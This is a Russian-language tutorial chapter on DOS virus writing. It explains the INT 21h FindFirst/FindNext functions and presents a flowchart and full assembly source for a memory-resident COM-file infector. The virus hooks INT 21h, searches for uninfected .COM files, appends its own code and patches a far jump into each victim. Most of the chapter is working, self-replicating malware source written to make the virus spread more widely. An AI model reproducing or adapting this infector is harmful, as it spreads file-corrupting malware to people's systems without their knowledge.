гл.14 ИСПОЛЬЗОВАНИЕ ФУНКЦИЙ FindFirst и FindNext ДЛЯ УВЕЛИЧЕНИЯ
ПОРАЖАЮЩЕЙ СПОСОБНОСТИ
(на базе предыдущего примера)
============================================================================
Здесь Вы узнаете кое-что новое. Вирус, который будет описан в этой гла-
ве, будет значительно более плодовит, нежели предыдущий. За счет использова-
ния функций 4Eh (FindFirst) и 4Fh (FindNext) прерывания 21h MSDOS.
Что это за функции такие? Функция 4Eh (FindFirst) позволяет Вам найти
первый файл, имя которого соответствует указанной маске (входной параметр
функции). Понятно, что в данном случае нас устраивает лишь маска *.COM. "Най-
ти файл" -- означает выдать Вам его полное имя, размер, дату создания и т.д.
По этим параметрам мы легко можем получить доступ к файлу и сделать с ним все
что захотим. Прежде чем дать описание вызова этой функции, вспомним о DTA.
DTA - область передачи данных, после запуска программы хранит введенные
после ее имени символы. Но она используется также для передачи данных между
разными процессами. У нас DTA будет пользоваться резидент. Но мы помним, что
DTA, как правило -- собственность какого-либо процесса, владеющего собствен-
ным PSP (DTA располагается в PSP по смещению 80h). А наш резидент будет си-
деть в МСВ-блоке и никакого PSP у него не будет. Стремно пользоваться чужой
DTA. Для подобных случаев в MS-DOS существует функция 1Ah -- установить DTA
на свой буфер.
Зачем же нам понадобилась DTA? Дело в том, что все данные о найденном
файле функция FindFirst помещает в DTA.
Вот как это выглядит (по данным thelp):
-------T-----T--------------------------------------------------------
¦ Вход ¦AH ¦ 4fH (Найти 1-й совпадающий файл)
L------¦DS:DX¦ адрес строки ASCIIZ с именем файла (допускаются ? и *)
¦CX ¦ атрибут файла для сравнения
-------+-----+--------------------------------------------------------
¦ Выход¦AX ¦ код ошибки если CF установлен
L------¦DTA ¦ заполнена данными (если не было ошибки)
L-----¦--------------------------------------------------------
Описание: DS:DX указывает на строку ASCIIZ в форме: "d:\путь\имяфайла",0.
Если диск и/или путь опущены, они подразумеваются по умолчанию.
Обобщенные символы * и ? допускаются в имени файла и расширении.
DOS находит имя первого файла в оглавлении, которое совпадает с за-
данным именем и атрибутом, и помещает найденное имя и другую инфор-
мацию в DTA, как показано ниже:
DTA
Смещ. Длн. Содержимое в DTA
----- ---- ---------------------------------------------------------------
----- - - - ----¬
+0 15H ¦ резервируется ¦ используется в последующих вызовах 4fH Find Next
+---+ - + - +----
+15H 1 ¦атр¦ атрибут файла для найденного файла
+---+---¬
+16H 2 ¦ время ¦ время создания/модификации в формате filetime
+---+---+
+18H 2 ¦ дата ¦ дата создания/модификации в формате filetime
+---+---+-------¬
+1aH 4 ¦ младш старш ¦ размер файла в байтах в формате DWORD
+---+---+---+---+¬
+1eH 0dH ¦ ¦ 13-байтовое ASCIIZ имя: "filename.ext",0
L---+ - + - +---+- (не дополнено пробелами; напр., DOIT.BATщ____)
2cH требуемый размер буфера
Замечания:
Типичная последовательность, используемая для поиска всех подходящих файлов:
> используйте вызов 1aH, чтобы установить DTA на локальный буфер
(или используйте умалчиваемую DTA в PSP по смещению 80H)
> уст. CX=атрибут, DS:DX => ASCIIZ диск, путь, обобщенное имя
> вызовите функцию 4eH (Найти 1-й)
> если флаг CF указывает ошибку, вы закончили (нет совпадений)
> уст. DS:DX => DTA (или на данные, которые вы скопировали из DTA
после вызова функции 4eH)
> повторять
обработать имя файла и данные по адресу DS:DX
вызвать функцию 4fH (Найти следующий)
пока Carry-флаг не покажет, что совпадений больше нет
Однако функция FindFirst годна лишь для поиска сАмого первого из файлов
нужного нам вида. А что, если первый подвернувшийся нам файл вовсе не годится
для заражения (или это -- COMMAND.COM, или -- уже зараженный файл, или файл
слишком большого размера) ? Для того, чтобы просмотреть остальные файлы мы
можем воспользоваться функцией FindNext.
Вот ее описание (по данным thelp):
----------T-------T-------------------------------------------------------------
¦ Вход ¦ AH ¦ 4fH (Найти следующий совпадающий файл)
L---------¦ DS:DX ¦ адрес данных, возвращенных предыдущей 4eH Найти 1-й Файл
----------+-------+-------------------------------------------------------------
¦ Выход ¦ AX ¦ код ошибки если CF установлен
L---------¦ DTA ¦ заполнена данными
L-------¦-------------------------------------------------------------
Описание: DS:DX указывает на 2bH-байтовый буфер с информацией, возвращенной
функцией 4eH Найти 1-й (либо DTA, либо буфер, скопированный из
DTA).
Используйте эту функцию после вызова 4eH. Следующее имя файла, сов-
падающее по обобщенному имени и атрибуту файла, копируется в буфер
по адресу DS:DX вместе с другой информацией (см. функцию 4eH
о структуре файловой информации в буфере, заполняемом DOS).
Входные данные FindNext берет из DTA, заполненной функцией FindFirst и,
в свою очередь, туда же помещает результаты своей работы.
Вот и вся новизна этой главы. Теперь -- блок/схема программы:
-----------------------¬
------------------------+ JMP to_initialization¦
¦ L-----------------------
¦
¦ _/РЕЗИДЕНТНАЯ ЧАТСТЬ\_
¦ INT 21h ---------------------------------------------¬
¦ ¦ ¦ а функция ли это N 4Bh? если нет -- ¦
¦ L----->¦ сваливаем на IRET-------------------------------------¬
¦ L------------------T-------------------------- ¦
¦ -------------------+-------------------------¬ ¦
¦ ¦ BP = 0 (счетчик попыток ¦ ¦
¦ ¦ найти новую жертву) ¦ ¦
¦ L------------------T-------------------------- ¦
¦ ¦ ¦
¦ ---------------------->¦ ¦
¦ ¦ -------------------+-------------------------¬ ¦
¦ ¦ ¦а СОМ- ли файл запускается? Нет -- T- еще по--¬ ¦
¦ ¦ ¦и если запускается COMMAND.COM тоже +- ищем --+ ¦
¦ ¦ L------------------T-------------------------- ¦ ¦
¦ ¦ -------------------+-------------------------¬ ¦ ¦
¦ ¦ ¦открыть запускаемый файл для чтения/записи ¦ ¦ ¦
¦ ¦ L------------------T-------------------------- ¦ ¦
¦ ¦ -------------------+-------------------------¬ ¦ ¦
¦ ¦ ¦прочитать первые 6 байт в свой буфер ¦ ¦ ¦
¦ ¦ L------------------T-------------------------- ¦ ¦
¦ ¦ -------------------+-------------------------¬ ¦ ¦
¦ ¦ ¦проверить, - заражен ли уже? если нет- ¦ ¦ ¦
¦ ¦ ¦ займемся им----------------------------------¦-¬ ¦
¦ ¦ L------------------T-------------------------- ¦ ¦ ¦
¦ ¦ ---------+-------------¬ ¦ ¦ ¦
¦ ¦ ¦ закроем файл ¦ ¦ ¦ ¦
¦ ¦ L--------T-------------- ¦ ¦ ¦
¦ ¦ ---------+-------------¬ ¦ ¦ ¦
¦ ¦ ¦ INC BP (еще попытка)¦<-------------- ¦ ¦
¦ ¦ L--------T-------------- ¦ ¦
¦ ¦ ---------+-------------¬ ¦ ¦
¦ ¦ ¦BP > 10 ? да - уходим--------------------------->
¦ ¦ L--------T-------------- ¦ ¦
¦ ¦ -------------------+-------------------------¬ ¦ ¦
¦ ¦ ¦ устанавливаем DTA на свой буфер (а можно ¦ ¦ ¦
¦ ¦ ¦ воспользоваться и текущей DTA) ¦ ¦ ¦
¦ ¦ L------------------T-------------------------- ¦ ¦
¦ ¦ -------------------+-------------------------¬ ¦ ¦
¦ ¦ ¦ выбор способа поиска жертвы (если искали ¦ ¦ ¦
¦ ¦ ¦ при помощи FindFirst, - выбираем FindNext) ¦ ¦ ¦
¦ ¦ L------------------T-------------------------- ¦ ¦
¦ ¦ -------------------+-------------------------¬ ¦ ¦
¦ ¦ ¦ ищем (при пом. FindFirst или, - FindNext) ¦ ¦ ¦
¦ ¦ L------------------T-------------------------- ¦ ¦
¦ ¦ -------------------+-------------------------¬ ¦ ¦
¦ ¦ ¦ если ошибка (больше файлов нет) - уходим----------------->
¦ ¦ L------------------T-------------------------- ¦ ¦
¦ ¦ -------------------+-------------------------¬ ¦ ¦
¦ ¦ ¦ устанавливаем DS:DX на имя нов. файла в DTA¦ ¦ ¦
¦ L---+------------------T-------------------------- ¦ ¦
¦ ¦ ¦ ¦
¦ -------------------+-------------------------¬<---- ¦
¦ ¦установка указателя на конец файла (при этом¦ ¦
¦ ¦мы получим длину файла в опред. формате (см.¦ ¦
¦ ¦выходные параметры функции LSEEK 42h) ¦ ¦
¦ L------------------T-------------------------- ¦
¦ -------------------+-------------------------¬ ¦
¦ ¦по этим данным коррекция адресов в иници- ¦ ¦
¦ ¦ализационной части ¦ ¦
¦ L------------------T-------------------------- ¦
¦ -------------------+-------------------------¬ ¦
¦ ¦запись кода вируса в конец файла ¦ ¦
¦ L------------------T-------------------------- ¦
¦ -------------------+-------------------------¬ ¦
¦ ¦установка указателя на начало файла ¦ ¦
¦ L------------------T-------------------------- ¦
¦ -------------------+-------------------------¬ ¦
¦ ¦запись в начало файла JMP far на код вируса ¦ ¦
¦ L------------------T-------------------------- ¦
¦ -------------------+-------------------------¬ ¦
¦ ¦закрыть файл ¦ ¦
¦ L------------T--------------T----------------- ¦
¦ ¦ IRET ¦<------------------------------
¦ L---------------
¦
¦ ------------------------------------------¬
L----------->¦сажаем резидент в МСВ-блок (если его нет)¦
L------------------T-----------------------
-------------------+----------------------¬
¦реставрация начала файла (пересылка из бу-
¦фера сохраненного при заражении начала ¦
¦файла в его начало) и переход на него ¦
L------------------------------------------
Возможно, что алгоритм не оптимален; в данном случае, как и всюду в этом
опусе, эффективность принесена в жертву наглядности.
Вот программа:
-----------------------------------------------------------¬
¦ пример 21 ¦:
L-----------------------------------------------------------
TITLE Это - COM. программа N21 комбинированный поиск жертвы (СОМ-файлов)
ASSUME CS:CodeSegment
;-------------------------------------------------------------------------
CodeSegment SEGMENT PARA
ORG(100h)
Start:
MainProcedure PROC NEAR
;
;
my_head: JMP initial
;
;
first_sought: DB 0 ;индикатор отработанности FindFirst
pattern: DB '*.COM',0 ;шаблон поиск для FindFirst
f_number: DW 0 ;описатель файла
;
; ;хранилище для адреса стандартного
saved_int21: DD 0 ; обработчика прерывания 13
; ; (2 слова)
;
int21_treater:CMP AH,4Bh
JE begin
JMP retro
begin: PUSH AX
PUSH BX
PUSH CX
PUSH DX
PUSH DS
PUSH ES
PUSH DI
PUSH SI
PUSH BP
XOR BP,BP ;счетчик попыток поиска
;-----------анализ расширения файла-----------------------------¬
analysis: MOV DI,DX ;->DS:DX - имя ASCIIZ ¦
again: INC DI ;L------------------- ¦
CMP byte ptr DS:[DI],0 ; поиск конца имени фай-
JNE again ; ла ¦
; ; ¦
CMP byte ptr DS:[DI-5],44h ;не трогать COMMAND.COM¦
JE first_failed ; ¦
CMP word ptr DS:[DI-2],4D4Fh ;работать лишь с .COM ¦
JNE first_failed ; файлами ¦
CMP word ptr DS:[DI-4],432Eh ; ¦
JE allowed ; ¦
first_failed: JMP and_once_more ;еще поищем ¦
;----------------------------------------------------------------
allowed: ;-----------открыть файл для чтения/записи----------------------¬
MOV CX,0 ;атрибут файла ¦
MOV AH,3Dh ;--------------------¬ ¦
MOV AL,2 ;DS:[DX] - уже содер- ¦
CALL call_int_21 ; жится ASCIIZ строка ¦
MOV word ptr CS:[f_number - 100h],AX ; имени файла ¦
;----------------------------------------------------------------
;-----------считать начало файла в буфер------------------------¬
PUSH CS ;переустановка-¬ ¦
POP DS ; ¦ ¦
MOV BX,word ptr CS:[f_number - 100h] ; ¦ ¦
MOV AH,3Fh ; <- ¦
MOV DX,OFFSET data_exe - 100h ;DS:[DX] - буфер ввода ¦
MOV CX,6h ; ¦
CALL call_int_21 ; ¦
;----------------------------------------------------------------
;------------анализ наличия своего кода в файле-----------------¬
CMP word ptr CS:[data_exe - 100h + 3],500Eh; ¦
JNE treat ;T-свой код не ¦
CMP byte ptr CS:[data_exe - 100h + 5],0CBh ;¦ найден => зара-
JNE treat ;+---зим этот файл ¦
;----------------------------------------------------------------
;
CALL close_file ;закрыть файл
;
and_once_more:INC BP ;еще одна попытка
;
;------------искали более 10 раз?-------------------------------¬
CMP BP,10 ; ¦
JB limit_unreach ;лимит не превышен ¦
to_to_exit: JMP to_exit ;лимит превышен ¦
;----------------------------------------------------------------
limit_unreach:;------------установить DTA на свой буфер----------------------¬
MOV AH,1Ah ; ¦
PUSH CS ; ¦
POP DS ; ¦
MOV DX,OFFSET for_DTA - 100h ; ¦
CALL call_int_21 ; ¦
;----------------------------------------------------------------
;------------выбор способа поиска-------------------------------¬
CMP byte ptr CS:[first_sought - 100h],1 ;FindFirst отработан?¦
JE to_find_next ; да - use FindNext ¦
;----------------------------------------------------------------
to_find_first:;------------поиск при помощи find_first------------------------¬
MOV DX,OFFSET pattern - 100h ; DS = CS - самый пер¦
XOR CX,CX ; вый раз, больше ¦
MOV AH,4Eh ; так не будет ¦
MOV byte ptr CS:[first_sought - 100h],1 ; ¦
JMP short to_call_dos ; ¦
;----------------------------------------------------------------
to_find_next: ;------------поиск при помощи find_next-------------------------¬
MOV AH,4Fh ;для поиска используется DTA, ¦
to_call_dos: CALL call_int_21 ; заполненная ранее FindFirst ¦
;----------------------------------------------------------------
JC to_to_exit ;(если ошибка - не может найти)
;----------переустановка указателя на ASCIIZ (имя файла) в DTA--¬
MOV DX,OFFSET for_DTA - 100h + 1Eh ; по смещ-ю 1Eh в DTA¦
JMP analysis ; - имя файла;(DS=CS)¦
;----------------------------------------------------------------
;
;
;
treat: ;------------операция LSEEK TO END (получение длины файла)------¬
XOR CX,CX ; ¦
XOR DX,DX ; ¦
MOV BX,word ptr CS:[f_number - 100h] ; ¦
MOV AL,2 ; ¦
MOV AH,42h ;AX - длина файла ¦
CALL call_int_21 ;если файл длиннее ¦
CMP AX,0E000h ; E000h - не тро- ¦
JA to_close ; гать его ¦
;----------------------------------------------------------------
;------------корректировка адресов в инициирующей части---------¬
MOV CX,OFFSET my_head ;AX - длина файла ¦
ADD CX,AX ; ¦
MOV word ptr CS:[correct1 - 100h + 1],CX ; подробн. комента- ¦
; ; рий см. в пре- ¦
MOV CX,OFFSET data_exe ; дыдущем примере ¦
ADD CX,AX ; ¦
MOV word ptr CS:[correct2 - 100h + 1],CX ; ¦
; ; ¦
MOV CX,100h ; ¦
ADD CX,AX ; ¦
MOV word ptr CS:[where_jmp - 100h],CX ; ¦
;----------------------------------------------------------------
;------------запись своего кода в файл--------------------------¬
MOV byte ptr CS:[first_sought - 100h],0 ;регенерация флажка ¦
; ; отработанности ¦
MOV BX,word ptr CS:[f_number - 100h] ; вызова FindFirst ¦
MOV DX,OFFSET my_head - 100h ;DS:[DX] - буфер вы-¦
MOV CX,my_end - my_head ; вода ¦
MOV AH,40h ; ¦
CALL call_int_21 ; ¦
;----------------------------------------------------------------
;------------операция LSEEK TO BEGINING-------------------------¬
XOR CX,CX ; ¦
XOR DX,DX ; ¦
MOV BX,word ptr CS:[f_number - 100h] ; ¦
MOV AL,0 ; ¦
MOV AH,42h ; ¦
CALL call_int_21 ; ¦
;----------------------------------------------------------------
;------------запись JMP FAR на код------------------------------¬
MOV BX,word ptr CS:[f_number - 100h] ; ¦
MOV DX,OFFSET implant - 100h ;DS:[DX] - буфер вы-¦
MOV CX,6 ; вода ¦
MOV AH,40h ; ¦
CALL call_int_21 ; ¦
;----------------------------------------------------------------
;
to_close: CALL close_file
;
to_exit: POP BP
POP SI
POP DI
POP ES
POP DS
POP DX
POP CX
POP BX
POP AX
retro: JMP dword ptr CS:[saved_int21 - 100h]
;
;
call_int_21: ;------------вызов стандартного обработчика int 21h (процедура)-¬
PUSHF ¦
CALL dword ptr CS:[saved_int21 - 100h] ¦
RET ¦
;----------------------------------------------------------------
close_file: ;------------закрыть файл (процедура)---------------------------¬
MOV BX,word ptr CS:[f_number - 100h] ; ¦
MOV AH,3Eh ; ¦
CALL call_int_21 ; ¦
RET ; ¦
;----------------------------------------------------------------
;
;
;
initial: ;------------проверка наличия своей TSR копии в памяти----------¬
MOV AX,40h ; ¦
MOV ES,AX ; ¦
CMP byte ptr ES:[134h],55h ; ¦
JE no_tsr ; ¦
MOV byte ptr ES:[134h],55h ; ¦
;----------------------------------------------------------------
;------------создание своей TSR копии в памяти------------------¬
MOV AX,CS:[02] ;берем вершину свободной памяти ¦
; ; (в параграфах) ¦
; ; ¦
SUB AX,20h ;уменьшаем ее на 20h (в парагр.) ¦
; ; ¦
correct1: MOV SI,OFFSET my_head ;копируем из источника DS:head ¦
MOV ES,AX ;копируем в приемник ES:00; в ES ¦
XOR DI,DI ; - новая вершина своб. памяти ¦
MOV CX,my_end - my_head ; ¦
CLD ; ¦
REPE MOVSB ; ¦
; ; ¦
MOV BX,DS ; ¦
DEC BX ; ¦
MOV DS,BX ;уменьшаем размер МСВ-блока ¦
SUB word ptr DS:[03h],20h ;уменьшаем вершину свободной ¦
SUB word ptr DS:[12h],20h ; памяти ¦
;----------------------------------------------------------------
;------------перехват прерывания 21h----------------------------¬
XOR BX,BX ; сохраняем старый вектор ¦
MOV DS,BX ; 13h в переслан. копию ¦
MOV CX,DS:[21h*4+0] ; ¦
MOV word ptr ES:[saved_int21 - 100h + 0],CX ; ¦
MOV CX,DS:[21h*4+2] ; ¦
MOV word ptr ES:[saved_int21 - 100h + 2],CX ; ¦
; ; ¦
CLI ;кладем в таблицу векторов наш 13 ¦
MOV word ptr DS:[21h*4+0],OFFSET int21_treater - 100h ;->OFFSET¦
MOV word ptr DS:[21h*4+2],AX ;------>SEGMENT ¦
STI ; ¦
;----------------------------------------------------------------
;------------реставрация начала файла и переход на него---------¬
no_tsr: PUSH CS ; ¦
PUSH CS ; ¦
POP DS ; ¦
POP ES ; ¦
correct2: MOV SI,OFFSET data_exe ; ¦
MOV DI,100h ; ¦
MOV AX,DI ; ¦
MOV CX,6h ; ¦
CLD ; ¦
REPE MOVSB ; ¦
PUSH CS ; ¦
PUSH AX ; ¦
RETF ; ¦
;----------------------------------------------------------------
;------------буфер, куда считывается замещаемая часть файла-----¬
data_exe DW 20CDh ;в начале содержит INT 20h ¦
DB 0 ; (для запуска чистой ¦
DB 0Eh ; культуры) + сигнатура,- ¦
DB 50h ; чтобы не заражалась сама¦
DB 0CBh ; культура ¦
;----------------------------------------------------------------
;---------заготовка JMP far на свой код, (имплантируется в файл)¬
implant: DB 0B8h ;MOV AX, ¦
where_jmp: DW 00 ; ? адрес джампа ¦
DB 0Eh ;PUSH CS ¦
DB 50h ;PUSH AX ¦
DB 0CBh ;RETF ¦
my_end: ;----------------------------------------------------------------
for_DTA: ;здесь располагается буфер для DTA (в резиденте есть запас места)
;
MainProcedure ENDP
;
CodeSegment ENDS
END Start
Помимо функций FindFirst и FindNext вирусы также часто пользуются фун-
кциями открытия файлов.
Далее
|